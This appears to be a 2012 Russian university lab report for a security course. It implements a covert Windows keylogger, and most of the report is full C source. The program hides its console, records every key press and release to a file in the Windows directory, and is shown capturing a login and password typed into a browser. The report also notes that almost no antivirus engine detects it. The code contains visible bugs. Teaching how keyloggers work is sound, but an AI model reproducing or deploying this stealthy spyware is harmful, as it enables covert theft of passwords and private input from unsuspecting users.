Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

ИДЗ Клавиатурный шпион

.doc
Скачиваний:
20
Добавлен:
20.06.2014
Размер:
72.7 Кб
Скачать

Липецкий государственный технический университет

Кафедра автоматизированных систем управления

Индивидуальное домашнее задание

по методам и средствам защиты

Реализация клавиатурного шпиона

Студент

Филатов А.А.

подпись, дата

фамилия, инициалы

Группа

АС-09-2

Принял

Батищев Р.В.

ученая степень, звание

подпись, дата

фамилия, инициалы

Липецк 2012

1. Задание

Реализовать клавиатурный шпион. Программа должна записывать данные о всех нажатиях/отжатиях клавиш в файл. Визуально работу программы не должно быть видно.

2. Краткие теоретические сведения

Клавиатурный шпион (или на английском keylogger) представляет собой специальное программное обеспечение, которое собирает историю нажатия клавиш и выводит это в виде текстовой информации, которую набирал пользователь на клавиатуре.

В большинстве случаев клавиатурные шпионы или keylogger работают в невидимом  режиме - пользователь компьютера не подозревает,  что за ним ведётся наблюдение. Программы шпионы обычно маскируются под системные процессы или работают как службы, благодаря чему просто отсутствуют в списках запущенных процессов Windows. Обнаружить клавиатурный шпион достаточно сложно.

Немногие антивирусы способны определить профессиональный клавиатурный шпион. Однако в любом случае необходимо своевременно обновлять антивирусные базы и желательно установить модуль защиты от шпионского программного обеспечения, которым обладают практически все антивирусы.

Чаще всего keylogger используют нелегально для специфических целей - воровство паролей к различным системам авторизации, почте, банковскому счёту, сайтам знакомств и т.д.. Однако существует и легальные пути применения клавиатурных шпионов:

  • Для логирования действий сотрудников на работе (эту возможность используют службы безопасности - иногда требуется восстановить порядок действий пользователя для предотвращения возможных утечек информации);

  • Для получения статистики работы (актуально для копирайтеров, стенографистов и т.д.);

  • Для контроля использования конфиденциальной информации.

3. Текст программы

#include <stdio.h>

#include <windows.h>

#include <Winuser.h>

#define VK_ALT 0x12

void keys(int key,char *file, bool isPressed)

{

FILE *key_file;

key_file = fopen(file,"a+");

if(isPressed && key>6)

fprintf(key_file,"{V}");

else if(key>6)

fprintf(key_file,"{^}");

if (key==8)

fprintf(key_file,"%s","[del]");

else if (key==13)

fprintf(key_file,"%s","\n");

else if (key==32)

fprintf(key_file,"%s"," ");

else if (key==VK_CAPITAL)

fprintf(key_file,"%s","[Caps]");

else if (key==VK_TAB)

fprintf(key_file,"%s","[TAB]");

else if (key==VK_ALT)

fprintf(key_file,"%s","[ALT]");

else if (key ==VK_SHIFT)

fprintf(key_file,"%s","[SHIFT]");

else if (key ==VK_CONTROL)

fprintf(key_file,"%s","[CTRL]");

else if (key ==VK_PAUSE)

fprintf(key_file,"%s","[PAUSE]");

else if (key ==VK_KANA)

fprintf(key_file,"%s","[Kana]");

else if (key ==VK_ESCAPE)

fprintf(key_file,"%s","[ESC]");

else if (key ==VK_END)

fprintf(key_file,"%s","[END]");

else if (key==VK_HOME)

fprintf(key_file,"%s","[HOME]");

else if (key ==VK_LEFT)

fprintf(key_file,"%s","[LEFT]");

else if (key ==VK_UP)

fprintf(key_file,"%s","[UP]");

else if (key ==VK_RIGHT)

fprintf(key_file,"%s","[RIGHT]");

else if (key ==VK_DOWN)

fprintf(key_file,"%s","[DOWN]");

else if (key ==VK_SNAPSHOT)

fprintf(key_file,"%s","[PRINT]");

else if (key ==VK_NUMLOCK)

fprintf(key_file,"%s","[NUM LOCK]");

else if (key ==190 || key==110)

fprintf(key_file,"%s",".");

else if (key >=96 && key <= 105)

{

key = key - 48;

fprintf(key_file,"%s",&key);

}

else

{

if (key >=48 && key <= 59)

fprintf(key_file,"%s",&key);

else if (key !=VK_LBUTTON || key !=VK_RBUTTON)

{

if (key >=65 && key <=90)

{

if (GetKeyState(VK_CAPITAL))

fprintf(key_file,"%s",&key);

else

{

key = key +32;

fprintf(key_file,"%s",&key);

}

}

}

}

fclose(key_file);

}

int main()

{

char i;

char test[MAX_PATH];

bool isKeyDown[190], a;

GetWindowsDirectory((LPWSTR)test,sizeof(test));

strcat(test,"keys.txt");

for(int i = 8; i<= 190;i++)

isKeyDown[i] = GetAsyncKeyState(i);

FreeConsole();

while(1)

{

for(i=8;i<=190;i++)

{

a = (GetAsyncKeyState(i) & 0x8000);

if(isKeyDown[i] != a)

{

isKeyDown[i]=a;

keys(i,test,a);

}

}

}

}

4. Тестовый пример

Для проверки работы программы после запуска была открыта форма авторизации в браузере, и введены данные “admin” “password” в соответствующие поля.

В результате в файле была записана следующая информация:

{^}{V}a{V}d{^}a{^}d{V}m{V}i{^}m{V}n{^}i{^}n{V}[TAB]{^}[TAB]{V}

p{^}p{V}a{^}a{V}s{^}s{V}s{^}s{V}w{^}w{V}o{^}o{V}r{^}r{V}d{^}d{V}

{^}

Здесь последовательность {V} обозначает нажатие клавиши, а {^} – отжатие.

5. Вывод

В данном индивидуальном домашнем задании был реализован простейший клавиатурный шпион, записывающий в файл нажатия/отжатия клавиш.

Анализ программы на virustotal.com показал, что из 45 антивирусов только один выразил недоверие - CAT-QuickHeal () : (Suspicious) – DNAScan.

7